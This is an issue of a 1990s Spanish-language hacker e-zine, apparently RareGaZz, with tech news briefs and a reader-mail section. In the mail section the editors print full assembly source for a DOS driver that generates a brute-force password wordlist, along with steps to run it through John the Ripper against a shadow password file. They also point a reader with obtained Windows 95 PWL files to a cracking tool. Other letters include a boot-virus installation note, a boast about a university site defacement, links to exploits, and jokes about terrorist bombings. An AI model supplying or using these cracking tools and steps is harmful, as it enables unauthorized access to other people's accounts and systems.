Bajo presion la CIA (Central Intelligence Agency) tuvo que decir la cifra
exacta que cuesta al pueblo norteamericano el espionaje: $26.6 billlones.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
IBM saco al mercado su nuevo disco de 8.1 gigabytes para las laptops.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
La semana pasada SUN demando a MICROSOFT por alteraciones a Java en el nuevo
Explorer 4.0 { nada nuevo con estos chicos... }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Yahoo compro Four11 y Rocketmail, ahora ofrece Yahoo! Mail
http://www.four11.com/
http://www.rocketmail.com
http://edit.my.yahoo.com/config/form?.form=main_mail&.src=ym&.done=/config/mail
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Seiko expandio el area donde vende su nuevo `Message-Watch' a las ciudades
de New York City, Sur de California, Seattle, Portland y Las Vegas. El
reloj es un beeper (pager), notifica de las llamadas recibidas en tu linea
telefonica, correo electronico, mensajes de voz, ademas constantemente
ofrece informacion como el clima y los numeros de loteria ganadores. Ademas,
cualquier sitio web puede a¤adir un boton para que te manden un mensaje
desde internet.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
La comision europea decidio no participar en los esfuerzos de Clinton para
crear un algoritmo de encripcion standard que pudiera ser crackeado por
las agencias de gobierno.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Un hacker irrumpio la seguridad del sitio de ValuJet insertando referencias
a accidentes aereos y fotos dramaticas (un avion quemandose). El sito
fue arreglado horas despues.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Edward DeHart, 71, fumador habitual, el hombre que creo la etiqueta de
precaucion para los cigarrillos murio de cancer pulmonar. Hablando de
`morir por la causa'.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Si quieres tu nombre de dominio y temes que haya sido escogido por otra
persona visita http://www.websitez.com
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
"Aurora" es el nombre del proyecto de Netscape para dominar el control de
la informacion en distintas plataformas.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Con un total de 40 billones de dolares Bill Gates encabeza la horrorosa lista
de los mas ricos del mundo! segun el USA Today.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Los jugadores de Quake con modems rapidos y conexiones ISDN estan masacrando
(literalmente) a los usuarios mas lentos causando sentimientos de frustracion
en el mundo entero.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
American Online compro Compuserve.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
De acuerdo con una reciente encuesta en USA el 40% de los hogares tiene
una computadora.
{ Entre esos tan solo el 5% sabe como usarla y el 3% de hecho la usa. :) }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
NuMega anuncia SoftICE 3.2 el mas poderoso DEBUGGER para Windows NT y
Windows 95.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
La estacion espacial Mir sera estrellada en el Pacifico y sus tripulantes
pasaran a formar parte de la tripulacion de la nueva estacion espacial
Alpha que sera terminada en 1999.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
El departamento de comercio rechazo una propuesta de las compa¤ias de
larga distancia estadounidenses para regular las llamadas por internet.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
La casablanca (www.whitehouse.gov) esta investigando como tomar accion
legal contra www.whitehouse.com que cambio de un sitio de satira a uno de
pornografia pesada.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Microsoft ha puesto de nuevo el tradicional doble-click en Explorer 4
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Bill Gates finalmente se mudo a su casa de $60 millones de dolares.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Una foto donde aparecia la princesa Diana muriendo en el carro accidentado
hizo una breve apariencia en la red pero Geocities la borro inmediatamente
argumentando que atentaba contra la moral.
{ vendo copias de la foto a 5 dolares c/u </BROMA> }
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Una aviso para las personas que viajan: Vietnam esta decomisando las mascotas
electronicas Tamagochi.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
Un hacker capturo todos los mensajes que el Presidente Clinton recibio en su
beeper en su visita a Philadelphia y han sido publicados.
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
[ Probablemente esto se convierta en una nueva seccion pronto... ]
El diccionario Larousse de internet.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Si desconoces algun termino usado en internet y quieres saber su significado
puedes hacer una de estas cosas:meterte en irc y preguntar (nukez probables),
inscribirte en una lista de correo preguntar y salirte, preguntar en un
grupo de noticias O usar el nuevo diccionario en linea localizado en:
http://whatis.com/
~~~~~~~~~~~~~~~~~~
Donde podras encontrar terminos como "@" o "zipping".
http://www.aint-it-cool-news.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
En este sucio sitio encontraras todo sobre Hollywood y sus mega-producciones
asi como noticias del showbiz. Este sitio recibe 400,000 hits diarios y el
creador (Harry Knowles) recibe 600 o mas email diarios de feedback que quedan
clasificados como "llego" y "no llego" dependiendo de si contienen algo.
Hologramas IN - Discos Magneticos OUT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Actualmente los medios de almacenamiento mas usados son los discos magneticos
como el que probablemente tengas dentro de tu PC. Estos discos estan
compuestos por un disco plano de aluminio o vidrio recubierto con un material
que guarda cargas magneticas correspondientes a valores binarios 0 y 1. El
esfuerzo que se ha puesto ultimamente en crear discos magneticos cada vez
de mas capacidad tiene que terminar algun dia en lo que los fisicos llaman
"el limite superparamagnetico". Cualquier intento en ir mas alla de este
limite ocasionaria que un cero resultara uno y un uno un cero lo que
ocasionaria que un comando hiciera otro comando y el otro otro...
La alternativa? Hologramas! Un cubo no mayor que un grano de sal que contenga
informacion almacenada en luz puede guardar mas de un millon de paginas
y la informacion podra ser accesada inmediatamente.
Mas informacion sobre este asombroso tema en el proximo numero...
.oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo. .oOo.
" La violencia no lleva a nada .. excepto cuando hablamos de una revolucion. "
Lennin/Marx
" Hay ocasiones donde la violencia lo resuelve todo para los oprimidos... "
El `Che'
" Un NO al dialogo es un SI a la violencia."
Zapatistas
" Si ETA dejara de hacer coches bomba, ¨quien se acordaria de ellos? "
RareGaZz
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
+ B O O M E R A N G +
^ ^ ^ ^ ^ ^ ^ ^ ^
" Tu linea de comunicacion (lenta pero segura) con el Underground "
Esta seccion nos sigue sirviendo para responder a sus preguntas y poner
las colaboraciones o comentarios que se salen de cualquier otra seccion.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
De: RareGaZz
Nuestra lista de correo tiene demasiadas direcciones de email asi que si
nos quieres ayudar, en caso de que tengas mas de una direccion tuya en
nuestros registros envia un mail solicitando removerlas. Ayuda a eliminar
la basura electronica. gracias.
Por otro lado, raregazz se enorgullece en poner a su dispocision en nuestro
`mirror site' en raregazz.islatortuga.com software tres equis y con el
tiempo esperamos poner algunos links "chistosos". Debido a las restricciones
no podemos poner links o software de este tipo en geocities.
Respecto al hack en http://www.sal.itesm.mx le pedimos al autor (azumlord)
que nos explicara sobre el mismo y nos dice:
" Bien el hack ocurrio a las 2:00 p.m. el 27 de Septiembre,la pagina fue
corregida al dia siguiente y el servidor duro caido 4 dias. la verdad lo
hize con fines unicamente de diversion ademas de que en ese mismo servidor
encontre archivos en uno de los directorios de los administradores, en
los cuales al parecer estaban haciendo una tesis sobre seguridad y
hackers. };-) "
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Hi rare me pregunto si podrias publicar el siguiente mensaje...
Estoy a punto de lanzar una BBS (Renegade) en Ensenada donde tendre las
ultimas noticias de RareGaZz asi como tambien MUCHO software necesario para
internet y distintas aplicaciones. Comunicate conmigo para ser informado
cuando este arriba y funcionando esta BBS. En esta misma ciudad estoy
pensando organizar una reunion de 2 noches donde podamos juntarnos todas
las personas de por 'aca (ensenada,tijuana,mexicali). Si estas interesado
mandame un mail y te dare mas detalles y la lista de asistencia que incluye
algunos colaboradores de raregazz. Tropi(c)o
tr0p1c0@hotmail.com
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Hola.
El otro dia estaba mirando por la Web, y sorpresa! encontre vuestra
revista, bueno, vuestras 8 revistas. Es la mejor revista de este tema que
he podido encontrar. Pero queria proponer, si es posible cambiar el formato
de la revista. Quiero decir, si seria posible por ejemplo, publicarla en
Acrobat, y asi poder enlazar los indices con los temas y que sea mas
grafica. Los lectores, podriamos imprimirlas (o guardarlas en el disco)
para su futura lectura.
Un saludo y espero ansiadamente el 9 volumen.
[ Las razones por las que no hemos cambiado el formato del zine son
`compatibilidad' y `tama¤o'. Con Acrobat este mismo texto ocuparia mas
de 1 mega y con images serian 1 o 1.5 megas por numero...demasiado. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Desaria que me ayudaras con un problema que tengo.
Yo estoy encargado de publicar varias paginas web de algunas compa¤ias aqui en Costa Rica, y como sabras entre mas arriba
esten en las busquedas con los browser, mas visitas estaran, y los clientes estaran contestos.
Pero, realmente no tengo mucha informacion sobre TRUCOS PARA iNDEXAR y asi poder salir mas arriba que la competencia.
Te agradeceria muchisimo, se me pudieras ayudar en algo. Al mismo tiempo yo te presto toda mi ayuda, tengo muchos
conocimientos en Unix, hacking y negocios productivos.
Espero tu pronta respuesta,
[ Mira en estados unidos existen infinidad de personas que cobran entre 30 y
50 dolares por poner algun sitio entre los primeros resultados de las
maquinas de busqueda. ¨como lo hacen? simple. Siguen unas instrucciones muy
faciles de seguir que espero te ayuden en algo.
.No usar META tags.- La mayoria de los programas creadores de paginas web
insertan etiquetas META que definen el contenido de una pagina. Estas
etiquetas fueron creadas para evitar que una pagina se mostrara en las
maquinas de busqueda sin contener un tema relativo a las palabras buscadas.
Como lo que queremos es precisamente eso, es decir, que la pagina que
queramos indexar aparezca la mayor cantidad de veces posible entonces
debemos eliminar las meta tags.
.indexar TODO el site.- Un website tiene entre 20 y 25 paginas web y
unicamente una pagina principal. Un grave error es indexar unicamente la
primera pagina y desear que aparezca entre los primeros. Obviamente para
que este truco sea efectivo deberas seguir estas recomendaciones: Las
paginas que vayas a indexar deberan ser las que sean permanentes o que
por lo menos parezca que estaran mas tiempo. Todas las paginas indexadas
deberan llevar el mismo encabezado (definido en <HEAD>) de preferencia
conteniendo el nombre de la compa¤ia sin importar que una hoja sea para
insertar comentarios o una simple lista de productos. Siempre en las hojas
indexadas debera estar visible un link a la pagina principal. Todas las
paginas indexadas deberan contener una descripcion del sitio o la compa¤ia
que no sea visible para el navegador pero si para la maquina indexadora.
.insertar comentarios invisibles.- Esta es una de las armas mas poderosas
contra la competencia. Los comentarios invisibles se insertan asi:
<HTML>
<HEAD><TiTLE>COMPA¥iA EQUiZ</TiTLE>
<!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones
de la compa¤ia que sera mostrada en las maquinas de busqueda. Despues de
esta descripcion elige las palabras que quisieras usar como palabras
clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE
HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine
mexico crackers cracks hacks zines virii codigo code hack raregazz zine
Procura no poner dos veces o mas la misma palabra despues de la otra.
Haciendo esto puedes llenar unos 5 renglones. -->
</HEAD>
<!-- Aqui debes poner una descripcion de aproximadamente unos 3 o 4 renglones
de la compa¤ia que sera mostrada en las maquinas de busqueda. Despues de
esta descripcion elige las palabras que quisieras usar como palabras
clave. Por ejemplo. HACK CRACK HACKER RAREGAZZ EZiNE MAGAZiNE E-ZiNE
HACK CRACK HACKER EZiNE MEXiCO virus RAREGAZZ hacker zine e-zine magazine
mexico crackers cracks hacks zines virii codigo code hack raregazz zine
procura no poner dos veces o mas la misma palabra despues de la otra.
Haciendo esto puedes llenar unos 5 renglones. -->
<body>
Poner lo mismo despues del encabezado y antes de la etiqueta BODY es una
buena idea! Obviamente CADA UNA de las paginas indexadas debera tener
diferentes palabras clave pero el mismo comentario inicial de 3 o 4 renglones
para evitar que en la descripcion del sitio aparezcan todas las palabras
claves.
Por ultimo no esperes que cuando hagas esto al dia siguiente aparezca tu
sitio entre los primeros. HotBot se actualiza cada semana, mientras que
infoseek actualiza su base de datos dos veces al mes y asi... ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
para mi todos ustedes son unos adictos sin nada que hacer deberian invertir
su tiempo en algo que les diera ganancias no nomas llenando los campos
magneticos de basura. basura electronica son ustedes..
[ eehhhh....gracias. ¨Adictos? Al hack, a internet, a escribir, a no dormir,
a vivir, a expresarnos, a no ir a la escuela, a las computadoras, a las
chicas lindas, al amor, a la coca, LSD, peyote o marijuana??? X-) hash.,]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Quisiera pedirles un favor, y es respecto a unas dudas que tengo
Aparece en Minotauro #8 este encabezado.
PASTEADO...(Minotauro.008)
......................................................................
; Virus de ejemplo para Minotauro Magazine
; NOTA: Se tiene que compilar con el A86, el cual generara
; un archivo .BiN que se debe copiar al sector de BOOT de
; un disco de HD. El BOOT original de ese disco, hay que
; ponerlo en el SEC 14, CYL 0, LADO 1. Listo!, el virus ya
; esta listo para ser ejecutado.
; Bugs Bunny [DAN]
......................................................................
Mis preguntas son:
como diablos copio un archivo .bin al BOOT???
Es esto lo que hace en realidad un virus infeccioso de BOOT???
como hago para relocalizar el BOOT al SEC 14, CYL 0, LADO 1???
[ La respuesta envienla a raregazz@bigfoot.com gracias. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
>>
>> WiNZiP 6.3 32bits
>> ~~~~~~~~~~~~~~~~~
>> La mejor compresion de datos con la capacidad de guardar archivos con
>> nombres largos y crear autoexecutables para windows 95. Los botones son
>> unas graciosas graficas en 3D. Sin duda el mejor programa de compresion.
>> Disponible en www.winzip.com y el codigo de registro esta en los numeros
>> anteriores de la revista.
>>
En el numero 7 aparecio una revision de software que solicite a un amigo
como una forma de colaboracion. Pues bien, mi amigo no fue objetivo y se
dio el gusto de nombrar a winzip como "el mejor compresor disponible" cosa
que carece de veracidad. Para reponer este error ya que cada texto que sale
en la revista representa nuestro punto de vista me di a la tarea de hacer
una prueba de compresion y publicar los resultados.
Los programas que entraron a la prueba son:
HA.EXE por Harri Hirvola version 0.98
BSA.EXE por PTS Ltd. version 2.00
PKZiP.EXE por PKware inc. version 2.50 Windows 95
ARJ.EXE por Robert K Jung version 2.10
RAR.EXE por Eugene Roshal version 2.00
LHARC.EXE por Haruyasu Yoshizaki version 1.14beta
WiNZiP.EXE por Nico Mak version 6.3 Beta
Todos fueron puestos en modo "maxima compresion" excepto en los casos en que
esta funcion aumentaba el tama¤o de los archivos como sucedio en ocasiones
con los compresores HA.EXE y BSA.EXE
Resultado de las pruebas:
Compresor Parametros Objetivo (bytes) Resultado (bytes)
HA.EXE ha a012 BMP's 18,562 10,129
BSA.EXE bsa a -++ BMP's 18,562 10,528
RAR.EXE + GUi + BMP's 18,562 11,828
ARJ.EXE arj a -m1 BMP's 18,562 12,253
PKZiP.EXE + GUi + BMP's 18,562 12,374
WiNZiP.EXE + GUi + BMP's 18,562 12,420
LHARC.EXE lharc a BMP's 18,562 12,461
* Las palabras GUi significa que fueron usados programas con interfaz grafica
que usaban la rutina de compresion mencionada.
Los programas usados para la prueba los puedes encontrar todos juntos en
el archivo http://raregazz.islatortuga.com/compress.zip o en la pagina de
software (no incluye winzip ni pkzip).
Para mas informacion y anuncios sobre programas de compresion puedes visitar
la siguiente direccion: http://www.davesite.com/computers/compress.shtml
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Hola !!!!
Primero y antes de nada felicitaros por la pedaso de revista que haceis.
y ahora a lo que venia
Tengo problemas para compilar el hackdrv.sys con TASM y quisiera que me
explicarais como hacerlo.
(no me envieis E-MAiL ponedlo en la revista, hay mucha gente que no sabe
como hacerlo ;) ) Gracias de mi parte y de todos los demas que quieren
saberlo.
[ En la revista numero 2 damos el codigo para una lista de palabras residente
en memoria ideal para ataques en bruto y olvidamos dar las instrucciones
para compilarlo o modificarlo. Pues bien el codigo que sigue entre los
puntos esta dise¤ado para ser una lista de 5 caracteres empezando desde
aaaaa y terminando en zzzzz. Para compilar usa el comando a86.com disponible
en el archivo http://raregazz.islatortuga.com/tasm.zip La sintax es:
"a86 hackdrv.asm hackdrv.com" despues renombra el archivo hackdrv.com a
hackdrv.sys e incluye la linea "DEViCE=C:\HACKDRV.SYS" en el config.sys
Ahora usa el programa JOHN THE RiPPER asi para usar la lista de palabras:
"JOHN -PWFiLE:SHADOW -WORDFiLE:HACKPWD.SYS -LiST" el archivo shadow debe
contener los passwords encriptados y el archivo hackpwd.sys esta en memoria.
cuando termines de crackear o hagas un break debes modificar el archivo
HACKDRV.SYS usando un editor hexadecimal para que continue la proxima vez
que reinicies el sistema donde te hayas quedado. OjO esto es importante.
Otra cosa, debes compilar el codigo varias veces dependiendo de cuantos
caracteres quieres que sea la lista, en el numero 2 la lista es de 6
caracteres pero el siguiente codigo es unicamente para crear la lista de
5 caracteres. Happy Hacking.
..............................................................................
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw 0c000h ;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db 'aaaaa',0ah ;<---- 5 caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy: ;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int: ;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab: ;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov si,es:[bx+10h]
mov di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov cx,numsize+1 ;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc si ;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr [number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah ;send EOF
_exit:
pop si
ret
inc_num endp
at_eof: ; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov ah,09 ;print welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "incremental Password Generator (c)1995",0ah,0dh
db "Written by Uncle Armpit",0ah,0dh,0ah,0dh
db "Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
..............................................................................
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
tengo problemas para manejar el Jonh the Ripper, me prodria mandar algun
ejemplo del mismo. Es de mi mayor interes saber como se usa, ya que he
conseguido algunos archivos PWL del windows 95 y no puedo desencryptarlos.
[ Para desencriptar los PWL de windows 95 es necesaria otra utilidad no
john the ripper. El programa GLiDE sirve para eso y lo puedes encontrar
en la pagina de software de la revista o haciendo click en el siguiente
link: http://raregazz.islatortuga.com/glide.zip ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Estoy viendo un programa mexicano llamado: fuera de la ley, es muy feo,
pregunta: tan mal esta la situacion por alla ?
[ Aqui esta la situacion tan mal por causa de esos estupidos programas
amarillistas. Tienen razon en Mexico existe la delincuencia, hay colonias
donde pasar en carro sin una nueve milimetros cargada es suicidio pero
no es la unica parte donde sucede esto... ¨o si? ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Les recomiendo esta pagina www.ntshop.net aqui encontraran bugs &
exploits para Win NT y http://www.l0pht.com/advisories.html donde
encontraran el L0phtCrack 1.5 y el netcat 1.10. Azumlord.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Por favor, pasaros por la siguiente direccion, cuando podais, os lo digo
porque puede ser de interes el programa llamado Private idaho, hay muchas
utilidades para el PGP y este programa es una de ellas.
http://www.eskimo.com/~joelm
http://www.cs.berkeley.edu/~raph/remailer-list.html
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
El proposito de este email es mencionarte un proyecto que desde siempre
hemos intentado todos y por el que voy a intentar luchar (y espero que
tambien vosotros). Este no es otro que el de unir el mundo hack, warez,
phreak, virus, etc.. en un anillo underground que conformaremos todos los
que siempre hemos estado aqui.
Gracias a islatortuga esto esta cada vez mas cerca pero gente como tu es la
que la puede sacar adelante, de ahi que me ponga en contacto contigo.
La idea es la creacion de un magazine. Como creador de magazine estaras
pensando.. otra mas.. buff.. no conseguiremos nada... Espero que estes
equivocado si piensas eso.
Estamos trabajando desde hace unos dias en una web y en una distribucion de
trabajo. En este email te incluyo un htm (el que tengo metido en mi web) y
un txt que espero que leas.
Espero que consideres esto pues es con personas como tu como podemos
conseguir esto por tu prestigio y por tu vida en este mundillo.
Los que hemos empezado con esto tampoco somos gente salida de la nada,
je,je... (hombre si pero..) aunque no con tanta fama. Somos los creadores de
las magazines Hwarez (anecdotica e informativa) y Mafia Magazine (Basada en
el fenomeno warez).
Por lo demas, todo depende de ti. Confiamos en que te agrade la idea y que
pronto te unas, e incluso encamines este proyecto.
Otra cosa que quiero mencionar, antes de que se me olvide, es que como estas
embarcado en alguna otra magazine, con esto tampoco pretendo que se fundan
todas las magazines existentes hasta el momento. Es decir, las magazines
llevaran rumbos diferentes... pues no hay mejor cosa que variedad donde
elegir, y debido a la distribucion de trabajo que se pretende conseguir, se
podria seguir perfectamente el trabajo de la otra, dedicandole el tiempo
necesario a esta :)))
